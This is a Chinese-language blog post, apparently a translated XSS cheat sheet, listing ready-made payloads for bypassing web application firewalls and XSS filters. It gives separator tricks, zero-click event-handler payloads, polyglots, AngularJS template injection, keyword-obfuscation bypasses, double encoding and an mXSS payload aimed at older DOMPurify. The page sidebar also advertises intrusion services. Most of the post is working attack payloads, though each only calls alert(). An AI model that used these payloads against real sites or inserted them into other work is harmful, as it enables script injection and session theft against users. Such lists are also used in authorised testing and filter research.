其实,现在网络上很多的XSS Cheat Sheet都已经过期了。很多的XSS Cheat Sheet都是直接从其他地方粗制粘贴过来的,而且有的测试用例早在十年前就已经没用了,但是也没人去整理和清理。除此之蛙,在大多数情况下我们所遇到的情况都是这些XSS Cheat Sheet测试用例无法解决的,有可能是因为Web应用防火墙,也有可能是因为XSS过滤器。当然了,如果只是一个简单的XSS漏洞,那你需要的仅仅只是一个有效的XSS攻击向量,而不是一堆“没用”的东西。
因此,在这篇文章中我想给大家提供一个“与众不同”的Cheat Sheet,在这份Cheat Sheet中我将给大家提供一份XSS技术和测试用例清单,并给出一些演示样例。希望在各位遇到难解决的WAF或XSS过滤器时,这份Cheat Sheet能够给大家提供一些帮助或灵感。虽然这份Cheat Sheet不能说100%完整,但是我相信这里提供的技术是2020年绝大部分研究人员仍在使用的技术。
标签-属性分隔符
有些过滤器会“天真地认为”只有某些特定字符可以分隔标签及其属性,下面给出的是在Firefox和Chrome中能够使用的有效分隔符的完整列表:
十进制值 | URL编码 | 介绍 |
---|---|---|
47 | %2F | 正斜杠 |
13 | %0D | 回车 |
12 | %0C | 分页符 |
10 | %0A | 换行 |
9 | %09 | 水平制表符 |
使用方式
一般来说,你的Payload构造如下:
<svg onload=alert(1)>
你可以尝试使用上述字符来替换‘svg’和‘onload’中间的空格,这样就可以保证HTML仍然有效并且Payload能够正确执行(DEMO:有效的HTML):
<svg/onload=alert(1)><svg>
<svg
onload=alert(1)><svg> # newline char
<svg onload=alert(1)><svg> # tab char
<svg onload=alert(1)><svg> # new page char (0xc)
基于JavaScript事件的XSS
详细参考资料:更多的HTML事件
标准HTML事件
0点击事件:
事件名称 | 标签 | 备注 |
---|---|---|
onload | body, iframe, img, frameset, input, script, style, link, svg | 适用于0-click,但通常会被过滤掉 |
onpageshow | body | 适用于 0-click,但只能用在非DOM注入中 |
onfocus | 大多数标签 | 适用于 0-click:配合autofocus=””使用 |
onmouseover | 大多数标签 | 如果可能的话,添加参数值来让其尽可能的大。 |
onerror | img, input, object, link, script, video, audio | 确保传递参数来终止运行 |
onanimationstart | 与任何可以设置动画的元素组合 | 启动,然后开始CSS动画 |
onanimationend | 与任何可以设置动画的元素组合 | 启动,然后结束CSS动画 |
onstart | marquee | 在字幕动画启动时启动-仅限Firefox |
onfinish | marquee | 在字幕动画启动时启动-仅限Firefox |
ontoggle | details | 必须提供’opne’参数以支持0-click |
使用样例:
<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()"> (chrome & opera only)
HTML5事件
0点击事件:
事件名称 | 标签 | 备注 |
---|---|---|
onplay | video, audio | 适用于0-click:结合HTML的autoplay属性以及结合有效的视频/音频 |
onplaying | video, audio | 适用于0-click: 结合HTML的autoplay属性以及结合有效的视频/音频 |
oncanplay | video, audio | 必须链接有效的视频/音频 |
onloadeddata | video, audio | 必须链接有效的视频/音频 |
onloadedmetadata | video, audio | 必须链接有效的视频/音频 |
onprogress | video, audio | 必须链接有效的视频/音频 |
onloadstart | video, audio | 潜在的0-click向量 |
oncanplay | video, audio | 必须链接有效的视频/音频 |
使用样例:
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
基于CSS的事件
不幸的是,基于CSS来实现XSS现在已经越来越难了,我尝试过的所有向量目前都只能在非常旧的浏览器上工作。因此,下面介绍的是基于CSS来触发XSS的情况。
下面的例子使用的是style标签来为动画的开始和结束设置关键帧:
<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
古怪的XSS向量
下面给出的是一些比较“奇葩”的XSS测试向量,这些测试向量很少见:
<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczL**yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
XSS多覆盖样例
下面我给出了几份XSS的多段代码,因为有的时候我们只需要输入特定的字符,或者只需要一个基于DOM或基于非DOM的注入场景。
字符 | 使用 | 多段代码 |
---|---|---|
141 | DOM和非DOM | javascript:”/*’/*`/*–></noscript></title></textarea></style></template></noembed></script><html \” onmouseover=/*<svg/*/onload=alert()//> |
88 | 非DOM | “‘–></noscript></noembed></template></title></textarea></style><script>alert()</script> |
95 | DOM | ‘”–></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> |
54 | 非DOM | “‘>–>*/</noscript></ti tle><script>alert()</script> |
42 | DOM | “‘–></style></script><svg onload=alert()> |
框架
为了攻击JS框架,我们还需要对相关的模板语言进行研究和分析。
AngularJS
{{constructor.constructor('alert(1)')()}}
这个Payload适用于大多数场景,但如果你还需要更多的Payload,可以点击【这里】获取。
Mavo
[self.alert(1)]
XSS过滤器绕过
圆括号过滤
利用HTML解析器和JS语句:
<svg onload=alert`1`></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
限制字符集
下面这三个站点可以将有效的JS代码转换为所谓的“乱码”来绕过绝大多数的过滤器:
1、JSFuck
3、jjencode
关键词过滤
避免使用的关键词:
(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1) // Generated using parseInt(“alert”,30). Other bases also work
mXSS和DOM攻击
对于XSS过滤器来说,它们基本上不可能正确地预测浏览器如何跟HTML以及交互库进行数据处理的方式。因此,有的时候我们就可以将XSS Payload作为无效的HTML插入到目标页面中,然后浏览器将有可能把它作为有效Payload执行,这样就可以绕过过滤器了。
下面给出的是一个能够绕过最常见过滤器(DOMPurify <2.0.1)的mXSS Payload:
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
<svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>
双重编码
有的时候,应用程序会在字符串再次解码之前,对其执行XSS过滤,这样就会给我们留下实现绕过的可乘之机。
字符 | 双重编码 |
---|---|
< | %253C |
> | %253E |
( | %2528 |
) | %2529 |
” | %2522 |
’ | %2527 |
参考资料
1、https://www.vulnerability-lab.com/resources/documents/531.txt
2、https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
3、https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
猜你还喜欢
- 07-08八年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 01-12批量检测SQL注入
- 01-22Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测
- 随机文章
-
- Struts2 漏洞exp从零分析
- 开启Wi-Fi就会泄漏身份信息,还有这种骚操作?
- Git Submodule 漏洞(CVE-2018-17456)分析
- 无字母数字Webshell之提高篇
- Linux应急响应(四):盖茨木马
- 实现lcx功能的参考方法
- 某CMS 排行页面存储型XSS漏洞 分析
- 运维安全 | 等保视角下的SSH加固之旅
- 一个人的武林:渗透测试常规分析(一)
- 前端安全系列(二):如何防止CSRF攻击?
- 信息是一道光,泄露到你发慌
- 详解PHPphar协议对象注入技术,反序列化操作快速入门!
- Cookie篡改与命令注入
- 某开源博客系统最新版源码审计记录TIPS
- Linux提权思路+实战
- 广撒网,多捞鱼:当黑客们也不再“安于本分”
- 不用cookie 一个盲打储存XSS对“某btc平台”攻城略地
- 一个人的武林:内网渗透测试思路(二)
- Windows内核漏洞利用提权教程
- 西部数据My Cloud存储设备被曝可提权认证绕过漏洞
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 渗透测试培训(第五期)
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
文章存档
- 2021年3月(4)
- 2020年12月(4)
- 2020年11月(5)
- 2020年10月(8)
- 2020年9月(8)
- 2020年8月(20)
- 2020年7月(47)
- 2020年6月(70)
- 2020年5月(41)
- 2020年4月(21)
- 2020年3月(120)
- 2020年2月(26)
- 2019年12月(12)
- 2019年11月(13)
- 2019年10月(17)
- 2019年9月(15)
- 2019年8月(13)
- 2019年7月(15)
- 2019年6月(15)
- 2019年5月(19)
- 2019年4月(23)
- 2019年3月(19)
- 2019年2月(11)
- 2019年1月(29)
- 2018年12月(24)
- 2018年11月(56)
- 2018年10月(79)
- 2018年9月(20)
- 2018年8月(17)
- 2018年7月(16)
- 2018年6月(7)
- 2018年5月(10)
- 2018年3月(6)
- 2018年2月(2)
- 2018年1月(11)
- 2017年11月(18)
- 2017年10月(6)
- 2017年9月(8)
- 2017年8月(7)
- 2017年7月(7)
- 2017年6月(15)
- 2017年5月(30)
- 2017年4月(7)
- 2017年3月(1)
- 2017年2月(4)
- 2017年1月(1)
- 2016年12月(3)
- 2016年11月(7)
- 2016年10月(6)
- 2016年9月(6)
- 2016年8月(102)
- 2016年7月(24)
- 2013年7月(1)
- 文章标签
-